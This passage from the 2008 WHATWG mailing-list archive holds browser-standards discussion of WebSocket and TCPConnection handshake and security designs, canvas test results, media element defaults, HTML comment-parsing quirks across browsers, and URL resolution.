If this works, we could extend Michael's original algorithm as follows
(this would be in addition to the "new WebSocket()" interface and
would not replace it)

PROPOSAL: Turning an existing HTTP connection into a WebSocket connection:

If the server sends a Connection: Upgrade header and an Upgrade header
with a "WebSocket" token as part of a normal response and if the
resource fetched established a browsing contest, the client must not
issue any other requests on that connection and must initiate a
protocol switch.
After the switch has finished, the client would expose the connection
to the application via a DefaultWebSocket property or something
similar.

An exchange could look like this:

C: GET /uri HTTP/1.1
C: Host: example.com
C: [ ... usual headers ... ]
C:

S: HTTP/1.1 200 OK
S: Content-Type: text/html
S: [ ... usual headers ... ]
S: Upgrade: WebSocket/1.0
S: Connection: Upgrade
S:
S: [ ... body ... ]

C: OPTIONS /uri HTTP/1.1
C: Host: example.com
C: Upgrade: WebSocket/1.0
C: Connection: Upgrade
C:

S: HTTP/1.1 101 Switching Protocols
S: Upgrade: WebSocket/1.0
S: Connection: Upgrade
S:

C/S: [ ... application specific data ... ]

Because the connection would be same-origin pretty much per
definition, no access checks would be needed in that situation.

Would something like this be doable and wanted?

>
>> On Fri, Jun 20, 2008 at 1:52 PM, Frode B?rli <frode at seria.no> wrote:
>>> I have a proposal for a cross domain security framework that i think
>>> should be implemented in browsers, java applets, flash applets and
>>> more.
>> If we use any kind of verification that happens outside the
>> connections, we should at least a hint inside the connection, which
>> host the browser wants to connect though. I think raw TCP connections
>> would cause major security holes with shared hosts, even if
>> cross-domain connections need a DNS record.
>
> Yes, if we are using the WebSocket - but not if using the TCP
> connection. Nobody will be allowed to run a separate application that
> listens on a port on a shared server anyway.
>
>> Consider the following scenario:
>>
>> Bob and Eve have bought space on a run-of-the-mill XAMPP web hoster.
>> They have different domains but happen to be on the same IP. Now Eve
>> wants do bruteforce Bob's password-protected web application. So she
>> adds a script to her relatively popular site that does the following:
>
> So Bob will DDOS his own server? And my proposals allows using
> hostnames OR ip-addresses in the DNS TXT record, so unless Eve add her
> own IP-address to the DNS then Bob can't create scripts that are
> allowed to access her hostname.

I'm sorry, if my wording was unclear. I was talking about a typical
shared hosting setup where customers get FTP access to a directory
where they can upload pages and scripts but for example no shell
access. Bob and Eve would have different directories on the same
server. Requests to their sites would go to the same port on the same
IP. The server would use the Host header to determine which request
goes to which site. In the scenario, Eve would try to attack Bob's
application.

>
> Why could he not just do a local connect to the port? Besides; if you
> have login access to the same server as your target - there are a lot
> much more efficient ways to find access information.

Eve could connect directly. However, then her IP would be in Bob's
logs and she could be shut down quickly. If she makes the detour over
a client-side scripts, only IPs of random visitors of Eve's website
would be logged.

>
>> 1) Open a TCP connection to her own domain on port 80. As far as the
>> browser is concerned, both origin and IP adress match the site one's,
>> so no cross domain checks are performed.
>
> The server will not be able to match a connection to an IP adress with
> the correct script on the same server. My proposal of reusing the same
> connection as the page was served from does not have this problem - as
> the web server can match the connection with the exact
> hostname/script.

I agree here.

>
>> 2) Forge HTTP requests on that connection with Bob's site in the Host
>> header and bruteforce the password. The Browser can't do anything
>> about this, because it treats the TCP connection as opaque. The
>> firewall just sees a legitimate HTTP request on a legitimate port.
>
> Still, that is more easily done if you are sitting on the local server
> using the server side script. Also the connections will be many times
> faster locally than all connections from outside users combined.

See above.
>
>> If Bob checks his logs, he will see requests from IPs all oer the
>> world. Because Eve has control about the Referrer and
>> Access-Control-Origin headers, there is no trace that leads back to
>> her. She might even have send the headers with forged values to shift
>> suspicion to another site.
>
> No trace leads back to Bob if he sits locally either (it would
> probably be more confusing).
>
> Perhaps the protocol should send another header stating the origin of
> the script that started the request?

For HTTP-based connections, this is exactly what Access-Control-Origin is doing.
For pure TCP connections, this would not be possible, because, after
all, they wouldn't be pure anymore :)

>
>> Note that the web hoster doesn't need to support WebSocket server side
>> in any way for this to work.
>
> The web hoster will not allow a shared hosting customer to create
> programs that listen on arbitrary ports on the server, so for
> TCPConnection this is not an issue.
>

The web hoster may not, but the interface on the browsers would still work.

>
> A big problem here is that we are discussing two separate things in
> the same threads. TCPConnection is one suggestion, WebConnection is
> another.

I agree. This attack would only work on pure TCP connections, not on
HTTP-based connections.

If I see it correctly, we have the following proposals currently:

- Client-initiated HTTP 101, access checks via Access Control (The
original proposal)

- "Server-initiated" HTTP 101 on an exisiting connection, no checks necessary

- Client-initiated HTTP 101, access checks via DNS/XSocket

- Pure TCP, access checks via DNS/XSocket

Is this correct?

I think we should decide if we should continue the discussion about a
HTTP-based or a pure TCP connection or if we should include both.

>
> My DNS record security framework will work for both implementations.

For pure TCP connections, I don't see how it would alleviate the
attack above. I think the XSocket proposal would solve the problem
though.
For HTTP-based connections, it would work, but I think Access Control
would solve the same problems and would be much easier to implement
and control.

>
> Security issues regarding TCPConnection should be discussed. Java
> applets can already do pure TCP connections to the server they are
> hosted on, and I have never heard of the type of attack that you
> describe above.
>
> Regards, Frode
>

Regards, Philipp Serafin


From excors+whatwg at gmail.com  Tue Jun 24 13:04:39 2008
From: excors+whatwg at gmail.com (Philip Taylor)
Date: Tue, 24 Jun 2008 21:04:39 +0100
Subject: [whatwg] Canvas tests updated
Message-ID: <ea09c0d10806241304i99d4551h91386a83eb24d7d0@mail.gmail.com>

I've recently updated my canvas tests at

  http://philip.html5.org/tests/canvas/suite/tests/

so they ought to be up-to-date with the latest version of the spec,
and have greater coverage than before. (Text rendering is the only
thing that's intentionally untested, though I may have missed some
other smaller areas.)

http://philip.html5.org/tests/canvas/suite/tests/results.html shows
the results I got from testing various browsers. Using the totally
unfair unrepresentative biased method of counting the number of
passes, the latest versions of Opera and WebKit and Konqueror are
roughly tied in first place while Firefox is last (except for IE which
doesn't really count), but even the best fail about a quarter of the
tests, so there's plenty of scope for bug-fixing :-)

Anyway, it's quite likely that a number of the tests are incorrect,
since nobody (including me) has reviewed them carefully; or that the
tests are correct according to the spec but the spec is incorrect
according to reality; so it would be good to get feedback from anyone
who notices issues in them.

-- 
Philip Taylor
excors at gmail.com


From frode at seria.no  Tue Jun 24 13:31:06 2008
From: frode at seria.no (=?UTF-8?Q?Frode_B=C3=B8rli?=)
Date: Tue, 24 Jun 2008 22:31:06 +0200
Subject: [whatwg] TCPConnection feedback
In-Reply-To: <f042876c0806240729g623a57fdg417adb42e28ea384@mail.gmail.com>
References: <485B69B5.9070007@arc.net.au>
	<31fb000f0806200419m6aae0708je2bfd7acb2ba9cfb@mail.gmail.com>
	<f042876c0806200550t6b3cf61dvebf77e273da2895d@mail.gmail.com>
	<f042876c0806200551j1db35971xaaafedd2fb1708ef@mail.gmail.com>
	<31fb000f0806200655j3af80aaah528e50ee0e1d324f@mail.gmail.com>
	<f042876c0806240729g623a57fdg417adb42e28ea384@mail.gmail.com>
Message-ID: <31fb000f0806241331h6cfd8d86q5b10c38f1bbe0f07@mail.gmail.com>

>> It is worth spending months improving the implementation here, if it
>> saves only one minute of work for each of the millions of web
>> developers out there, in the future.
>
> Alright, point taken. You're of course absolutely right with that :)
> I agree, it would be very convenient to basically set up and control a
> web app in a single connection. However, I think there are valid use
> cases for just the opposite set up as well. So, if we use a HTTP
> handshake, we should provide two ways.

Agree

>> If it is impossible to use HTML, then it is absolutely required that
>> Session ID is added as a standard header - since that will be the only
>> way of linking the generated HTML with the separate persistent
>> connection. You can't assume that an application server or the web
>> server will be able to parse the cookie, since the cookie format is
>> different for each programming language/application.
>
> This depends on the layer where the session management takes place.
> For example, PHP's existing session handling system already uses
> cookies. So, a hypothetical future "PPHP" version of PHP could extend

The PHP *script* decides how to encode session identifiers, not the
PHP-engine. PHP has a default cookie variable called PHPSESSID that
many php-scripts use but many PHP-applications implement their own
session handling. If the Session ID was implemented trough headers, it
would have the following benefits:

1. Many more links in the chain between the browser and the server
side script can utilize session id; for example a load balancer will
easily see which internal server to pass requests to.
2. Session ID is not available for client side scripts - and makes
session hijacking
much more difficult. (Today they are accessible trough document.cookie)
3. Server side logic can be implemented in many more layers for
connecting requests to an actual user session.
4. Statistics tools can much more easily identify unique visitors, as
Session ID potentially could be logged in log files.
I am sure there are more advantages.

> the session system to support this.
> This feature couldn't be implemented in the afromentioned "few lines
> of perl" though.

SessionID header only need to be implemented on the client side for
HTML5 browsers. Server side scripting languages can immediately read
headers and set headers - but it would be an advantage if PHP (and
others) was updated to use SessionID-header as default for request
from browsers supporting HTML5.

>>The HTTP 101 Switching Protocols can be sent by the server, without
>>the client asking for a protocol change. The only requirement is that
>>the server sends 426 Upgrade Required first, then specifies which
>>protocol to switch to. The protocol switched to could possibly be the
>>one proposed in the beginning of this thread.
>
> I don't see how we could use 426 as a notification that the client
> should open a WebSocket connection. 426 is still an error code, so if
> you send it as the reply to the initial GET request, you can't be sure
> the HTML file you pushed gets interpreted the correct way. While this
> would probably work, it would be semantically unclean at best.

I am not a HTTP protocol wizard, but I have read that something
similar is done for starting HTTPS-communications, and I believe the
same procedure can be used for WebSocket.

> PROPOSAL: Turning an existing HTTP connection into a WebSocket connection:
>
> If the server sends a Connection: Upgrade header and an Upgrade header
> with a "WebSocket" token as part of a normal response and if the
> resource fetched established a browsing contest, the client must not
> issue any other requests on that connection and must initiate a
> protocol switch.
> After the switch has finished, the client would expose the connection
> to the application via a DefaultWebSocket property or something
> similar.
>
> An exchange could look like this:
>
> C: GET /uri HTTP/1.1
> C: Host: example.com
> C: [ ... usual headers ... ]
> C:
>
> S: HTTP/1.1 200 OK
> S: Content-Type: text/html
> S: [ ... usual headers ... ]
> S: Upgrade: WebSocket/1.0
> S: Connection: Upgrade
> S:
> S: [ ... body ... ]
>
> C: OPTIONS /uri HTTP/1.1
> C: Host: example.com
> C: Upgrade: WebSocket/1.0
> C: Connection: Upgrade
> C:
>
> S: HTTP/1.1 101 Switching Protocols
> S: Upgrade: WebSocket/1.0
> S: Connection: Upgrade
> S:
>
> C/S: [ ... application specific data ... ]
>
> Because the connection would be same-origin pretty much per
> definition, no access checks would be needed in that situation.
>
> Would something like this be doable and wanted?

This is exactly what I was trying to describe :)

>>> Consider the following scenario:
>>>
>>> Bob and Eve have bought space on a run-of-the-mill XAMPP web hoster.
>>> They have different domains but happen to be on the same IP. Now Eve
>>> wants do bruteforce Bob's password-protected web application. So she
>>> adds a script to her relatively popular site that does the following:
>>
>> So Bob will DDOS his own server? And my proposals allows using
>> hostnames OR ip-addresses in the DNS TXT record, so unless Eve add her
>> own IP-address to the DNS then Bob can't create scripts that are
>> allowed to access her hostname.
>
> I'm sorry, if my wording was unclear. I was talking about a typical
> shared hosting setup where customers get FTP access to a directory
> where they can upload pages and scripts but for example no shell
> access. Bob and Eve would have different directories on the same
> server. Requests to their sites would go to the same port on the same
> IP. The server would use the Host header to determine which request
> goes to which site. In the scenario, Eve would try to attack Bob's
> application.

This is possible today using a very simple java applet. The java
applet does not even have to be trusted to perform a pure
TCP-connection and the applet can be scripted using javascript via
liveconnect. I don't believe it is a problem at all.

>> Why could he not just do a local connect to the port? Besides; if you
>> have login access to the same server as your target - there are a lot
>> much more efficient ways to find access information.
>
> Eve could connect directly. However, then her IP would be in Bob's
> logs and she could be shut down quickly. If she makes the detour over
> a client-side scripts, only IPs of random visitors of Eve's website
> would be logged.

1. The security restrictions require a script to be downloaded from
the same IP as her own website. From this Eve will know that another
user on the same shared host is performing the attack.
2. If she can see that attacks are being made from her own IP address,
she would know exactly as much as in point 1.

In either case, it is impossible to tell if its Bob or John on the
same server that performs the connections.

>>> 2) Forge HTTP requests on that connection with Bob's site in the Host
>>> header and bruteforce the password. The Browser can't do anything
>>> about this, because it treats the TCP connection as opaque. The
>>> firewall just sees a legitimate HTTP request on a legitimate port.
>>
>> Still, that is more easily done if you are sitting on the local server
>> using the server side script. Also the connections will be many times
>> faster locally than all connections from outside users combined.
>
> See above.

See above:)

>>> If Bob checks his logs, he will see requests from IPs all oer the
>>> world. Because Eve has control about the Referrer and
>>> Access-Control-Origin headers, there is no trace that leads back to
>>> her. She might even have send the headers with forged values to shift
>>> suspicion to another site.
>>
>> No trace leads back to Bob if he sits locally either (it would
>> probably be more confusing).
>>
>> Perhaps the protocol should send another header stating the origin of
>> the script that started the request?
>
> For HTTP-based connections, this is exactly what Access-Control-Origin is doing.
> For pure TCP connections, this would not be possible, because, after
> all, they wouldn't be pure anymore :)

The script doing the connection either must be downloaded from Bobs
server, or must be mentioned in Bobs' domain TXT-records - or perform
the connection by downloading an xSocket file over HTTP first, and he
will have a very good clue on finding the source of the attack and
also stopping the attack because he would have to actively enable it
in the first place.

>>> Note that the web hoster doesn't need to support WebSocket server side
>>> in any way for this to work.
>> The web hoster will not allow a shared hosting customer to create
>> programs that listen on arbitrary ports on the server, so for
>> TCPConnection this is not an issue.
> The web hoster may not, but the interface on the browsers would still work.

Anyway, see my comment above. This attack is already possible using
java applets and can only be initiated from the server that is being
attacked. A low traffic shared server can never initiate millions of
attacks world wide, and the odds of the evil attacker being on exactly
the same server as the site being attacked is very low.

>> A big problem here is that we are discussing two separate things in
>> the same threads. TCPConnection is one suggestion, WebConnection is
>> another.
>
> I agree. This attack would only work on pure TCP connections, not on
> HTTP-based connections.

I believe TCP connections are secure - unless ofcourse in the
improbable case that the attacker has a user account on your server.

> If I see it correctly, we have the following proposals currently:
>
> - Client-initiated HTTP 101, access checks via Access Control (The
> original proposal)
> - Client-initiated HTTP 101, access checks via DNS/XSocket

The two above is essentially the same, just different security mechanisms.

> - "Server-initiated" HTTP 101 on an exisiting connection, no checks necessary
>
> - Pure TCP, access checks via DNS/XSocket
>
> Is this correct?

This is correct. I believe there is one more proposal involving a very
simple handshake (allows client to connect to any port on any server,
but the handshake must succeed).

> I think we should decide if we should continue the discussion about a
> HTTP-based or a pure TCP connection or if we should include both.

I vote for these:
1. TCPConnection using DNS and/or xSocket.
2. Server initiated WebSocket trough the existing channel that the
page was sent trough (via document.webSocket for example).
3. Since AJAX requests basically are page requests, the server should
be able to initiate a websocket also on AJAX requests - effectively
making it client initiated and server approved.

Should we start new discussion threads for these?

>> My DNS record security framework will work for both implementations.
> For pure TCP connections, I don't see how it would alleviate the
> attack above. I think the XSocket proposal would solve the problem
> though.

See above. TCP connections to Server A can only be performed is client
script is downloaded from Server A or if Server A has made an xSocket
file available over HTTP, or if DNS records indicate that scripts
downloaded from hostname of Server B can connect to Server A.

> For HTTP-based connections, it would work, but I think Access Control
> would solve the same problems and would be much easier to implement
> and control.

Notice that the xSocket implementation does not require any changes to
the existing server side to enable pure TCP - only an xSocket file
sent over normal HTTP. The same applies to the DNS-method, which
probably mostly will be used for very high traffic websites. A simple
server side script can perform any security checks neccesary before
providing a xSocket file, so I think it is easier to implement. The
xSocket file can also be extended to accomodate future ideas (being
XML-based).


From frode at seria.no  Tue Jun 24 13:40:58 2008
From: frode at seria.no (=?UTF-8?Q?Frode_B=C3=B8rli?=)
Date: Tue, 24 Jun 2008 22:40:58 +0200
Subject: [whatwg] What should the value attribute be for
	multi-fileupload controls in WF2?
In-Reply-To: <0A08EABFC63C493E9E2EA1047DFD3F2B@POCZTOWIEC>
References: <ED9AC6F5-F047-4A0B-8735-7737A0402B45@apple.com>
	<485BB421.4090803@lachy.id.au>
	<a9699fd20806201347p7d376b30w80977f9585024e64@mail.gmail.com>
	<31fb000f0806201544n1c5abebdicb108675a71d5f97@mail.gmail.com>
	<0A08EABFC63C493E9E2EA1047DFD3F2B@POCZTOWIEC>
Message-ID: <31fb000f0806241340t3b6c6b5l6a397d0b3542cdeb@mail.gmail.com>

> Because it breaks the common interface that the value property returns a scalar?

Doesn't renaming the .value property to for example .files also break
the common interface?

Frode


From giecrilj at stegny.2a.pl  Tue Jun 24 13:52:50 2008
From: giecrilj at stegny.2a.pl (=?US-ASCII?Q?Kristof_Zelechovski?=)
Date: Tue, 24 Jun 2008 22:52:50 +0200
Subject: [whatwg] What should the value attribute be formulti-fileupload
	controls in WF2?
In-Reply-To: <31fb000f0806241340t3b6c6b5l6a397d0b3542cdeb@mail.gmail.com>
References: <ED9AC6F5-F047-4A0B-8735-7737A0402B45@apple.com><485BB421.4090803@lachy.id.au><a9699fd20806201347p7d376b30w80977f9585024e64@mail.gmail.com><31fb000f0806201544n1c5abebdicb108675a71d5f97@mail.gmail.com><0A08EABFC63C493E9E2EA1047DFD3F2B@POCZTOWIEC>
	<31fb000f0806241340t3b6c6b5l6a397d0b3542cdeb@mail.gmail.com>
Message-ID: <C4A1FA993A7D4B48B1D164BA807562C3@POCZTOWIEC>

Breaking the interface means changing the semantics without introducing new
syntax.  For example, if x is int[10] and you decide you need 20 of them
afterwards, you say "x2 is int[20]" and you throw x away.  Afterwards you
have to accommodate the code using x, which is now undefined, to the new
semantics.  The fact that x is undefined is helpful because you have a
smaller chance of overlooking something.
Chris

-----Original Message-----
From: whatwg-bounces at lists.whatwg.org
[mailto:whatwg-bounces at lists.whatwg.org] On Behalf Of Frode Borli
Sent: Tuesday, June 24, 2008 10:41 PM
To: Kristof Zelechovski
Cc: whatwg at whatwg.org; Thomas Broyer
Subject: Re: [whatwg] What should the value attribute be formulti-fileupload
controls in WF2?

> Because it breaks the common interface that the value property returns a
scalar?

Doesn't renaming the .value property to for example .files also break
the common interface?

Frode



From jonas at sicking.cc  Thu Jun 26 15:48:27 2008
From: jonas at sicking.cc (Jonas Sicking)
Date: Thu, 26 Jun 2008 15:48:27 -0700
Subject: [whatwg] usemap="" and related issues
In-Reply-To: <Pine.LNX.4.62.0806050049110.8559@hixie.dreamhostps.com>
References: <op.tlq7qta564w2qv@id-c0020>
	<6b9c91b20701061647y7496258cyc73e82da837edce2@mail.gmail.com>
	<Pine.LNX.4.64.0708080557210.9521@dhalsim.dreamhost.com>
	<6b9c91b20708081121n1aebc059u65cd4754cd5f0af@mail.gmail.com>
	<op.twr91vqm7a8kvn@hp-a0a83fcd39d2> <46C72E3F.5020606@sicking.cc>
	<op.tw9073vw7a8kvn@hp-a0a83fcd39d2> <46C973D5.6020704@sicking.cc>
	<op.txcwqkfa64w2qv@annevk-t60.oslo.opera.com>
	<46CA29B5.6080101@sicking.cc>
	<Pine.LNX.4.62.0806050049110.8559@hixie.dreamhostps.com>
Message-ID: <48641CBB.8010204@sicking.cc>

> On Sat, 18 Aug 2007, Jonas Sicking wrote:
>> Since ID is case sensitive everywhere else, I don't see a reason to make 
>> an exception from that rule here. That seems to unnecessarily complicate 
>> implementation as well as introduce weird inconsistencies for authors.
> 
> It already is inconsistent for usemap="". At least for legacy Web content 
> I don't think we can do much about it. At that point, I'd rather just 
> extend that to XHTML than to keep another difference.

In mozilla for HTML we only look at the name attribute, and only do so 
case insensitively. For XHTML we only look at the id attribute, and are 
always case sensitive.

We have had a number of bugs filed on id not working on HTML, (with most 
of them pointing at the XHTML spec as a reason it should work) but they 
all use the same casing for the usemap attribute and the id attribute.

Do you have any data showing that using case sensitive matching for the 
id attribute would break compatibility with any pages?


What I did notice in our code though is how we deal with the case when 
there are multiple <map>s with the same name. In this case we generally 
use the first <map>. But if the first <map> is empty, we use the first 
non-empty <map>. This was done for compatibility with some sites. See 
https://bugzilla.mozilla.org/show_bug.cgi?id=264624

I have no idea if this matters today or not.

/ Jonas


From adele at apple.com  Thu Jun 26 18:03:30 2008
From: adele at apple.com (Adele Peterson)
Date: Thu, 26 Jun 2008 18:03:30 -0700
Subject: [whatwg] Timing for the poster image appearing for <video>
Message-ID: <0B6474C7-DA5E-4F6C-9C75-7B505FF8F154@apple.com>

Hi all,

The spec currently states that the poster image specified in the  
poster attribute for <video> can show up either when no video data is  
available or when a video element is paused and the current playback  
position is the first frame of video.

The second situation seems like it would allow the poster image to be  
displayed when a user rewinds the video back to the beginning while  
paused.  I think it would make more sense to just allow the poster  
image to be displayed if the readyState is less than CAN_PLAY, instead  
of considering the paused state.  The paused state will always be true  
when the readyState is less than CAN_PLAY, but with this rule, the  
poster image won't randomly show up in other situations where the  
video is paused and you're at the beginning.

Thanks,
	Adele


From adele at apple.com  Thu Jun 26 18:27:58 2008
From: adele at apple.com (Adele Peterson)
Date: Thu, 26 Jun 2008 18:27:58 -0700
Subject: [whatwg] Consider changing the default volume for <audio> and
	<video> to be 1.0 instead of 0.5
Message-ID: <AF426A52-7519-46FA-B49F-8191F754388D@apple.com>

Hi all,

The spec currently says that the default volume level is 0.5.  In  
WebKit's initial implementation, we have received feedback that the  
audio seems much too soft.  If a user has already adjusted their  
device's volume to their liking, then I think 1.0 should correspond to  
that level, and that should be the default.  This will enable the  
browser to have similar volume levels to other applications on the  
system, and will respect the system volume.

Thanks,
	Adele


From philipj at opera.com  Thu Jun 26 18:47:53 2008
From: philipj at opera.com (Philip =?ISO-8859-1?Q?J=E4genstedt?=)
Date: Fri, 27 Jun 2008 08:47:53 +0700
Subject: [whatwg] Timing for the poster image appearing for <video>
In-Reply-To: <0B6474C7-DA5E-4F6C-9C75-7B505FF8F154@apple.com>
References: <0B6474C7-DA5E-4F6C-9C75-7B505FF8F154@apple.com>
Message-ID: <1214531273.6816.1.camel@localhost>

The current spec allows implementing it like this, but I support the
change as it takes away that unnecessary ambiguity.

On Thu, 2008-06-26 at 18:03 -0700, Adele Peterson wrote:
> Hi all,
> 
> The spec currently states that the poster image specified in the  
> poster attribute for <video> can show up either when no video data is  
> available or when a video element is paused and the current playback  
> position is the first frame of video.
> 
> The second situation seems like it would allow the poster image to be  
> displayed when a user rewinds the video back to the beginning while  
> paused.  I think it would make more sense to just allow the poster  
> image to be displayed if the readyState is less than CAN_PLAY, instead  
> of considering the paused state.  The paused state will always be true  
> when the readyState is less than CAN_PLAY, but with this rule, the  
> poster image won't randomly show up in other situations where the  
> video is paused and you're at the beginning.
> 
> Thanks,
> 	Adele
-- 
Philip J?genstedt
Opera Software



From lachlan.hunt at lachy.id.au  Thu Jun 26 18:49:24 2008
From: lachlan.hunt at lachy.id.au (Lachlan Hunt)
Date: Fri, 27 Jun 2008 03:49:24 +0200
Subject: [whatwg] Timing for the poster image appearing for <video>
In-Reply-To: <0B6474C7-DA5E-4F6C-9C75-7B505FF8F154@apple.com>
References: <0B6474C7-DA5E-4F6C-9C75-7B505FF8F154@apple.com>
Message-ID: <48644724.2000506@lachy.id.au>

Adele Peterson wrote:
> The spec currently states that the poster image specified in the poster 
> attribute for <video> can show up either when no video data is available 
> or when a video element is paused and the current playback position is 
> the first frame of video.
> 
> The second situation seems like it would allow the poster image to be 
> displayed when a user rewinds the video back to the beginning while 
> paused.

Looking at the way YouTube videos work when they're not set to autoplay, 
the poster frame is displayed up until the video begins playing for the 
first time.  After that, it always displays whatever frame it's paused 
on, until it reaches the end and displays related videos instead.

-- 
Lachlan Hunt - Opera Software
http://lachy.id.au/
http://www.opera.com/


From philipj at opera.com  Thu Jun 26 18:54:48 2008
From: philipj at opera.com (Philip =?ISO-8859-1?Q?J=E4genstedt?=)
Date: Fri, 27 Jun 2008 08:54:48 +0700
Subject: [whatwg] Consider changing the default volume for <audio>
	and	<video> to be 1.0 instead of 0.5
In-Reply-To: <AF426A52-7519-46FA-B49F-8191F754388D@apple.com>
References: <AF426A52-7519-46FA-B49F-8191F754388D@apple.com>
Message-ID: <1214531688.6816.9.camel@localhost>

I support this change, ?assuming that volume 1.0 corresponds to digital
0 dB. This way, no volume adjustment is needed by default, which seems
like a sensible... default.

On Thu, 2008-06-26 at 18:27 -0700, Adele Peterson wrote:
> Hi all,
> 
> The spec currently says that the default volume level is 0.5.  In  
> WebKit's initial implementation, we have received feedback that the  
> audio seems much too soft.  If a user has already adjusted their  
> device's volume to their liking, then I think 1.0 should correspond to  
> that level, and that should be the default.  This will enable the  
> browser to have similar volume levels to other applications on the  
> system, and will respect the system volume.
> 
> Thanks,
> 	Adele
-- 
Philip J?genstedt
Opera Software



From chris.double at double.co.nz  Thu Jun 26 20:06:18 2008
From: chris.double at double.co.nz (Chris Double)
Date: Fri, 27 Jun 2008 15:06:18 +1200
Subject: [whatwg] Consider changing the default volume for <audio> and
	<video> to be 1.0 instead of 0.5
In-Reply-To: <AF426A52-7519-46FA-B49F-8191F754388D@apple.com>
References: <AF426A52-7519-46FA-B49F-8191F754388D@apple.com>
Message-ID: <c2e346f90806262006p180dbccx15d588a009b2cd12@mail.gmail.com>

On Fri, Jun 27, 2008 at 1:27 PM, Adele Peterson <adele at apple.com> wrote:
> The spec currently says that the default volume level is 0.5.  In WebKit's
> initial implementation, we have received feedback that the audio seems much
> too soft.  If a user has already adjusted their device's volume to their
> liking, then I think 1.0 should correspond to that level, and that should be
> the default.  This will enable the browser to have similar volume levels to
> other applications on the system, and will respect the system volume.

I agree. I've noticed with the Firefox implementation that defaulting
to 0.5 is too quiet and can cause a bit of confusion with people
adjusting the system volume to make it louder - which makes other apps
even louder.

Chris.
-- 
http://www.bluishcoder.co.nz


From whatwg at adambarth.com  Thu Jun 26 22:12:26 2008
From: whatwg at adambarth.com (Adam Barth)
Date: Thu, 26 Jun 2008 22:12:26 -0700
Subject: [whatwg] Unterminated comments in <textarea>, <script>, <style>,
	<title>, and <iframe>
Message-ID: <7789133a0806262212y19c3aadcl5560c23442856bdf@mail.gmail.com>

Recently, I've been testing how browser parsers handle unterminated
<!-- comments -->.  Internet Explorer 7, Firefox 3, Safari 3.1, and
Opera 9.5 agree on the following cases:

http://crypto.stanford.edu/~abarth/research/html5/comments/open-textarea.html
http://crypto.stanford.edu/~abarth/research/html5/comments/open-script.html
http://crypto.stanford.edu/~abarth/research/html5/comments/open-style.html

Essentially, they treat the <!-- as if it did not start a comment.
Ian pointed out on IRC that this might be a security vulnerability
because the result of parsing the stream depends on whether the parser
hung or terminated at the end of the stream.  (If the parser had hung,
it would be awaiting more characters for the comment.)

The above browsers almost agree for on the behavior for <title>:

http://crypto.stanford.edu/~abarth/research/html5/comments/open-title.html

Internet Explorer 7, Firefox 3, and Opera 9.5 treat treat <!-- as if
it did not start a comment.  Safari 3.1 differs slightly and only uses
the portion before the <!-- as the title, but otherwise parses the
remainder of the document as if <!-- did not start a comment.

The above browsers differ in their handling of unterminated comments
for the <iframe> element:

http://crypto.stanford.edu/~abarth/research/html5/comments/open-iframe.html

Internet Explorer 7 and Safari 3.1 follow the spec and consume the
remainder of the document in the comment.  Firefox 3 and Opera 9.5
treat <!-- as if it did not start a comment.

As I understand it, browser behavior for <textarea>, <script>,
<style>, and <title> differs from the spec.  It is unclear whether
browsers will change to match the spec, especially because the
<script> element might contain <!-- sequences in string literals or
regular expressions (e.g.,
<http://crypto.stanford.edu/~abarth/research/html5/comments/open-script-in-string.html>).

Adam


From whatwg at adambarth.com  Thu Jun 26 22:30:57 2008
From: whatwg at adambarth.com (Adam Barth)
Date: Thu, 26 Jun 2008 22:30:57 -0700
Subject: [whatwg] Ending comments with --!>
Message-ID: <7789133a0806262230u31e8f4efv1526595254d5a01e@mail.gmail.com>

Internet Explorer 7, Firefox 3, Safari 3.1, and Opera 9.5 accept --!>
as an alternate comment terminator to the usual -->

http://crypto.stanford.edu/~abarth/research/html5/comments/strange-ending.html

In Internet Explorer 7 and Opera 9.5, if the document later contains
the usual comment terminator, then that character sequence terminates
the comment instead:

http://crypto.stanford.edu/~abarth/research/html5/comments/strange-ending-with-real-ending.html
http://crypto.stanford.edu/~abarth/research/html5/comments/strange-ending-with-later-comment.html

Firefox 3 and Safari 3.1 do not appear to exhibit this behavior.

(Interestingly, the syntax highlighter in vim suggests the document
will be parsed as in Firefox and Safari, no doubt contributing to
author confusion.)

Adam


From whatwg at adambarth.com  Fri Jun 27 00:13:58 2008
From: whatwg at adambarth.com (Adam Barth)
Date: Fri, 27 Jun 2008 00:13:58 -0700
Subject: [whatwg] Ending comments with --!>
In-Reply-To: <7789133a0806262230u31e8f4efv1526595254d5a01e@mail.gmail.com>
References: <7789133a0806262230u31e8f4efv1526595254d5a01e@mail.gmail.com>
Message-ID: <7789133a0806270013l5616f418r6fc02fa2c02b6e82@mail.gmail.com>

Ian explained to me on IRC that IE and Opera are consuming the entire
document as a comment and reparsing for > (i.e., --!> is not treated
specially).  That is supported by the following test case:

http://crypto.stanford.edu/~abarth/research/html5/comments/bang-gt.html

Safari and Firefox contain explicit code for detecting --!> (as
demonstrated by the above test case).  In Safari, the code was
introduced in

http://trac.webkit.org/changeset/4103

In Firefox, the code was introduced in

https://bugzilla.mozilla.org/show_bug.cgi?id=110544

As far as I can tell, neither checkin explains why this behavior was added.

Adam


On Thu, Jun 26, 2008 at 10:30 PM, Adam Barth <whatwg at adambarth.com> wrote:
> Internet Explorer 7, Firefox 3, Safari 3.1, and Opera 9.5 accept --!>
> as an alternate comment terminator to the usual -->
>
> http://crypto.stanford.edu/~abarth/research/html5/comments/strange-ending.html
>
> In Internet Explorer 7 and Opera 9.5, if the document later contains
> the usual comment terminator, then that character sequence terminates
> the comment instead:
>
> http://crypto.stanford.edu/~abarth/research/html5/comments/strange-ending-with-real-ending.html
> http://crypto.stanford.edu/~abarth/research/html5/comments/strange-ending-with-later-comment.html
>
> Firefox 3 and Safari 3.1 do not appear to exhibit this behavior.
>
> (Interestingly, the syntax highlighter in vim suggests the document
> will be parsed as in Firefox and Safari, no doubt contributing to
> author confusion.)
>
> Adam
>


From whatwg at adambarth.com  Fri Jun 27 11:21:22 2008
From: whatwg at adambarth.com (Adam Barth)
Date: Fri, 27 Jun 2008 11:21:22 -0700
Subject: [whatwg] Resolving URLs
Message-ID: <7789133a0806271121l13222e18nf9e67e6a0cfa2755@mail.gmail.com>

In <http://www.whatwg.org/specs/web-apps/current-work/#resolving>, the
spec says:

"If the URL to be resolved was passed to an API
    The base URL is the document base URL of the script's script
document context."

I believe browsers differ on this point.  When resolving a URL
received from a script, there are three likely sources of a base URL:

1) The script's script document context (i.e., the document of the
window object lexically in scope).
2) The document of the window object dynamically in scope.
3) The document to which the API belongs.

I'm working on a test suite to reverse engineer the behavior of
current browsers and will report my findings.

Adam


From mjs at apple.com  Fri Jun 27 13:52:50 2008
From: mjs at apple.com (Maciej Stachowiak)
